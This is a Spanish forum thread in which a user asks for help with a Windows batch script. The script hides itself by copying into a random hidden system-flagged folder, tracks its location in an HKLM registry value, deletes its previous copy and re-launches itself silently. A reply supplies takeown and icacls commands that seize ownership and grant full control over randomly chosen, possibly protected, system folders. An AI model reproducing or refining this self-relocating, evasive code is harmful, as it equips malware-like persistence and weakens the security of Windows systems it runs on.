[BATCH] Acceso denegado en REG QUERY

Iniciado por Meine programmen, 1 Enero 2013, 14:43 PM

0 Miembros y 1 Visitante están viendo este tema.

Meine programmen

Hace algo de tiempo que estoy haciendo pruebas e intentando hacer un trozo de codigo que vaya cambiando al programa de carpeta de manera aleatoria. Otros objetivos del codigo son contener la ruta de la carpeta en una clave del registro y que no necesite mas de una sola ventana para funcionar correctamente. Al principio el codigo funciona bien, si no existe la clave del registro la crea con su ruta y vuelve a empezar, y si existe y la ruta que contiene la clave es la misma en la que esta el programa, se copia a una carpeta aleatoria y ejecuta la copia. Si la ruta de la clave es diferente a la del programa, el programa elimina la carpeta de la anterior copia (Cuya ruta esta en la clave) y vuelve a empezar. El problema esta que al volver a empezar despues de haber borrado la anterior copia, el comando REG QUERY deniega el acceso y el programa no puede leer la clave del registro. Habia pensado en usar el comando runas en lugar de un GOTO en el momento de volver a empezar el programa, pero eso implicaria abrir otra ventana. Pongo el codigo abajo, probablemente tenga mas fallos que el que ya nombre. Espero que alguien pueda ayudarme, muchas gracias de antemano.

@ECHO OFF
SetLocal EnableDelayedExpansion
:SeteandoVariables
SET ClaveDelRegistro=HKLM\SOFTWARE
SET ValorDelRegistro=CD
SET MELT=1
SET NAME=

:ModificandoClaveDelRegistro
REG QUERY "%ClaveDelRegistro%" /v "%ValorDelRegistro%">temp
FOR /F "tokens=3*" %%A IN ('findstr REG_SZ "temp"') DO (IF "%%B" NEQ "" SET B= %%B
SET RutaAntigua=%%A!B!)
REG ADD "%ClaveDelRegistro%" /v "%ValorDelRegistro%" /f /d "%~dp0
IF "%RutaAntigua%"=="" (GOTO SeteandoVariables)
IF "%RutaAntigua%" NEQ "%~dp0" (SET MELT=0)
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 ATTRIB -H -S "%RutaAntigua:~0,-1%" /S /D
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 CD "%RutaAntigua%"
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 FOR /R %%A IN (*.*) DO (DEL /P "%%A")
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 cd ..
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 rd /S "%RutaAntigua%"

:EligiendoCarpeta
CD /D %HOMEDRIVE%\
SET /A MAX=%RANDOM% %% 4000 + 1000
FOR /D /R %%A IN (*) DO (SET Carpeta=%%A
SET /A NUM=!RANDOM! %% %MAX% + 1
IF !NUM!==1 (GOTO ComprobandoErrorN1))

:ComprobandoErrorN1
echo %Carpeta%
IF %ERRORLEVEL% NEQ 0 (GOTO EligiendoCarpeta)
IF "%CARPETA%" NEQ "%CARPETA:)=%" (GOTO EligiendoCarpeta)

:GenerandoNombre
SET /A CHARNUM=%RANDOM% %% 25 + 1
SET CONT=0
FOR /L %%A IN (1,1,%CHARNUM%) DO (
SET /A CHAR=!RANDOM! %% 51
FOR %%B IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0 ! @ # $ ~ ( = [ ] { } . , ; ' - _ +) DO (
SET /A CONT=!CONT!+1
IF !CHAR!==!CONT! SET CHAR=%%B
)
IF !CHAR!==0 (SET CHAR= )
SET NAME=!NAME!!CHAR!
SET CONT=0
)

:Informando
echo %NAME%
echo %MELT%

:ComprobandoMelt
IF %MELT%==0 (echo NO MELT THIS TIME)
IF %MELT%==0 (GOTO SeteandoVariables)

:CreandoCarpeta
cd "%Carpeta%"
md "%NAME%"
ATTRIB +H +S "%NAME%"
cd "%NAME%"

:Copiando
copy "%~f0" "CD.bat"
pause


:AbriendoCopia
"%Carpeta%\%NAME%\CD.bat"
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


Segadorfelix


Meine programmen

Devuelve solamente
Acceso denegado.
A partir de ahi los demas comandos fallan.
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


Eleкtro

No creo que el problema séa del REG QUERY,
Y no me extraña que salga Acceso denegado, si la carpeta la elijes aleatóriamente y puede ser cualquier carpeta protegida dle sistema, no le das permisos al usuario para copiar el archivo en esa carpeta, a mi por ejemplo se me ha intentado copiar en una carpeta del sistema que necesita privilegios de admin.

Aparte, hay un fallo grave en el script, el caracter del "espacio" deberías removerlo o mejorarlo,
El batch puede crear esta carpeta:
"C:\carpeta\E "
"C:\carpeta\ E"

Windows automáticamente elimina el espacio tanto a la izquiera como a la derecha del nombre, así que no podría acceder a esas carpetas porque el script no podría encontrarlas.

Prueba así:

Código (dos) [Seleccionar]
:CreandoCarpeta
(
Takeown /F "%Carpeta%" /R /D S
Icacls     "%Carpeta%" /Grant "%USERNAME%":F /T
ATTRIB     "%Carpeta%" -A -R -S -H -I /D /S
mkdir      "%Carpeta%\%NAME%"
Takeown /F "%Carpeta%\%NAME%"
Icacls     "%Carpeta%\%NAME%" /Grant "%USERNAME%":F
ATTRIB     "%Carpeta%\%NAME%" -A -R -S -H -I
) >NUL

:Copiando
Copy /Y "%~f0"   "CD.bat"                  1>NUL
Move /Y "CD.bat" "%Carpeta%\%NAME%\CD.bat" 1>NUL || (GOTO:SeteandoVariables)

:AbriendoCopia
Start /B "" "%Carpeta%\%NAME%\CD.bat"


Saludos.